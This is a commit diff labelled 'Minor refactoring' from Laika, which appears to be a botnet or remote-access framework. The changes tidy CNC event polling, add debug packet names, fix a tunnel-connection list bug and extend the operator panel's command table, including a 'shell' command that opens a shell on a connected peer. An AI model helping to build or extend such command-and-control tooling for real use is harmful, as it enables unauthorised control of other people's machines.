1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Minor refactoring

This commit is contained in:
CPunch 2022-04-01 14:10:06 -05:00
parent 4594e6194b
commit 3515d10b1c
9 changed files with 57 additions and 23 deletions

View File

@ -340,7 +340,7 @@ void laikaC_onPollFail(struct sLaika_socket *sock, void *uData) {
bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
struct sLaika_peer *peer; struct sLaika_peer *peer;
struct sLaika_pollEvent *evnts; struct sLaika_pollEvent *evnts, *evnt;
int numEvents, i; int numEvents, i;
laikaP_flushOutQueue(&cnc->pList); laikaP_flushOutQueue(&cnc->pList);
@ -353,7 +353,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
/* walk through and handle each event */ /* walk through and handle each event */
for (i = 0; i < numEvents; i++) { for (i = 0; i < numEvents; i++) {
if (evnts[i].sock == &cnc->sock) { /* event on listener? */ evnt = &evnts[i];
if (evnt->sock == &cnc->sock) { /* event on listener? */
peer = laikaS_newPeer( peer = laikaS_newPeer(
laikaC_botPktTbl, laikaC_botPktTbl,
&cnc->pList, &cnc->pList,
@ -379,9 +380,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
continue; continue;
} }
peer = (struct sLaika_peer*)evnts[i].sock; laikaP_handleEvent(evnt);
laikaP_handleEvent(&evnts[i]);
} }
laikaP_flushOutQueue(&cnc->pList); laikaP_flushOutQueue(&cnc->pList);

View File

@ -25,7 +25,7 @@ enum {
struct sLaikaB_box { struct sLaikaB_box {
uint8_t *data; uint8_t *data;
uint8_t *unlockedData; uint8_t *unlockedData;
sLaikaV_vm vm; struct sLaikaV_vm vm;
}; };
inline void laikaB_unlock() { inline void laikaB_unlock() {

View File

@ -121,4 +121,8 @@ enum {
typedef uint8_t LAIKAPKT_ID; typedef uint8_t LAIKAPKT_ID;
typedef uint16_t LAIKAPKT_SIZE; typedef uint16_t LAIKAPKT_SIZE;
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID);
#endif
#endif #endif

26
lib/src/lpacket.c Normal file
View File

@ -0,0 +1,26 @@
#include "lpacket.h"
#ifdef DEBUG
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
const char *PKTNAMES[] = {
"LAIKAPKT_VARPKT",
"LAIKAPKT_HANDSHAKE_REQ",
"LAIKAPKT_HANDSHAKE_RES",
"LAIKAPKT_TUNNEL_OPEN",
"LAIKAPKT_TUNNEL_CLOSE",
"LAIKAPKT_TUNNEL_CONNECTION_ADD",
"LAIKAPKT_TUNNEL_CONNECTION_RMV",
"LAIKAPKT_TUNNEL_CONNECTION_DATA",
"LAIKAPKT_SHELL_OPEN",
"LAIKAPKT_SHELL_CLOSE",
"LAIKAPKT_SHELL_DATA",
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ",
"LAIKAPKT_AUTHENTICATED_TUNNEL_OPEN_REQ"
};
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
}
#endif

View File

@ -166,6 +166,7 @@ bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
/* read packet ID */ /* read packet ID */
peer->pktID = laikaS_readByte(&peer->sock); peer->pktID = laikaS_readByte(&peer->sock);
LAIKA_DEBUG("%s", laikaD_getPacketName(peer->pktID));
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is /* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket

View File

@ -105,6 +105,8 @@ struct sLaika_tunnelConnection *laikaT_newConnection(struct sLaika_tunnel *tunne
NULL NULL
); );
laikaS_setNonBlock(&con->sock);
con->tunnel = tunnel; con->tunnel = tunnel;
con->next = NULL; con->next = NULL;
con->id = id; con->id = id;
@ -135,7 +137,7 @@ void laikaT_freeConnection(struct sLaika_tunnelConnection *connection) {
/* unlink from list */ /* unlink from list */
last->next = connection->next; last->next = connection->next;
} else { /* connectionHead was NULL, or connection *was* the connectionHead. */ } else { /* connectionHead was NULL, or connection *was* the connectionHead. */
tunnel->connectionHead = NULL; tunnel->connectionHead = connection->next;
} }
/* tell peer connection is removed */ /* tell peer connection is removed */

View File

@ -10,6 +10,7 @@ typedef void (*shellCmdCallback)(tShell_client *client, int args, char *argc[]);
typedef struct sShell_cmdDef { typedef struct sShell_cmdDef {
const char *cmd; const char *cmd;
const char *help; const char *help;
const char *syntax;
shellCmdCallback callback; shellCmdCallback callback;
} tShell_cmdDef; } tShell_cmdDef;

View File

@ -132,7 +132,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA, LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData, shellC_handleShellData,
0, 0,
true), true)
}; };
/* socket event */ /* socket event */
@ -231,18 +231,20 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
} }
bool shellC_poll(tShell_client *client, int timeout) { bool shellC_poll(tShell_client *client, int timeout) {
struct sLaika_pollEvent *evnt; struct sLaika_pollEvent *evnts, *evnt;
int numEvents; int numEvents, i;
/* flush any events prior (eg. made by a command handler) */ /* flush any events prior (eg. made by a command handler) */
laikaP_flushOutQueue(&client->pList); laikaP_flushOutQueue(&client->pList);
evnt = laikaP_poll(&client->pList, timeout, &numEvents); evnts = laikaP_poll(&client->pList, timeout, &numEvents);
if (numEvents == 0) /* no events? timeout was reached */ if (numEvents == 0) /* no events? timeout was reached */
return false; return false;
if (!laikaP_handleEvent(evnt)) for (i = 0; i < numEvents; i++) {
laikaS_kill(&client->peer->sock); evnt = &evnts[i];
laikaP_handleEvent(evnt);
}
/* flush any events after (eg. made by a packet handler) */ /* flush any events after (eg. made by a packet handler) */
laikaP_flushOutQueue(&client->pList); laikaP_flushOutQueue(&client->pList);

View File

@ -8,7 +8,7 @@
#include "lerror.h" #include "lerror.h"
#define CMD_ERROR(...) do { \ #define CMD_ERROR(...) do { \
shellT_printf("\r%s[~]%s ", shellT_getForeColor(TERM_BRIGHT_RED), shellT_getForeColor(TERM_BRIGHT_WHITE)); \ PRINTTAG(TERM_BRIGHT_RED); \
shellT_printf(__VA_ARGS__); \ shellT_printf(__VA_ARGS__); \
longjmp(cmdE_err, 1); \ longjmp(cmdE_err, 1); \
} while(0); } while(0);
@ -107,14 +107,14 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) {
/* =============================================[[ Command Table ]]============================================== */ /* =============================================[[ Command Table ]]============================================== */
#define CREATECMD(_cmd, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .help = _help, .callback = _callback}) #define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})
tShell_cmdDef shellS_cmds[] = { tShell_cmdDef shellS_cmds[] = {
CREATECMD("help", "Lists avaliable commands", helpCMD), CREATECMD("help", "help", "Lists avaliable commands", helpCMD),
CREATECMD("quit", "Disconnects from CNC, closing panel", quitCMD), CREATECMD("quit", "quit", "Disconnects from CNC, closing panel", quitCMD),
CREATECMD("list", "Lists all connected peers to CNC", listPeersCMD), CREATECMD("list", "list", "Lists all connected peers to CNC", listPeersCMD),
CREATECMD("info", "Lists info on a peer", infoCMD), CREATECMD("info", "info [PEER_ID]", "Lists info on a peer", infoCMD),
CREATECMD("shell", "Opens a shell on peer", openShellCMD), CREATECMD("shell", "shell [PEER_ID]", "Opens a shell on peer", openShellCMD),
}; };
#undef CREATECMD #undef CREATECMD
@ -134,11 +134,10 @@ tShell_cmdDef *shellS_findCmd(char *cmd) {
void helpCMD(tShell_client *client, int args, char *argc[]) { void helpCMD(tShell_client *client, int args, char *argc[]) {
int i; int i;
shellT_printf("\n\n=== [[ Command List ]] ===\n\n"); shellT_printf("======= [[ %sCommand List%s ]] =======\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellT_getForeColor(TERM_BRIGHT_WHITE));
for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) { for (i = 0; i < (sizeof(shellS_cmds)/sizeof(tShell_cmdDef)); i++) {
shellT_printf("%04d '%s'\t- %s\n", i, shellS_cmds[i].cmd, shellS_cmds[i].help); shellT_printf("'%s%s%s'\t- %s\n", shellT_getForeColor(TERM_BRIGHT_YELLOW), shellS_cmds[i].syntax, shellT_getForeColor(TERM_BRIGHT_WHITE), shellS_cmds[i].help);
} }
shellT_printf("\n");
} }
void shellS_initCmds(void) { void shellS_initCmds(void) {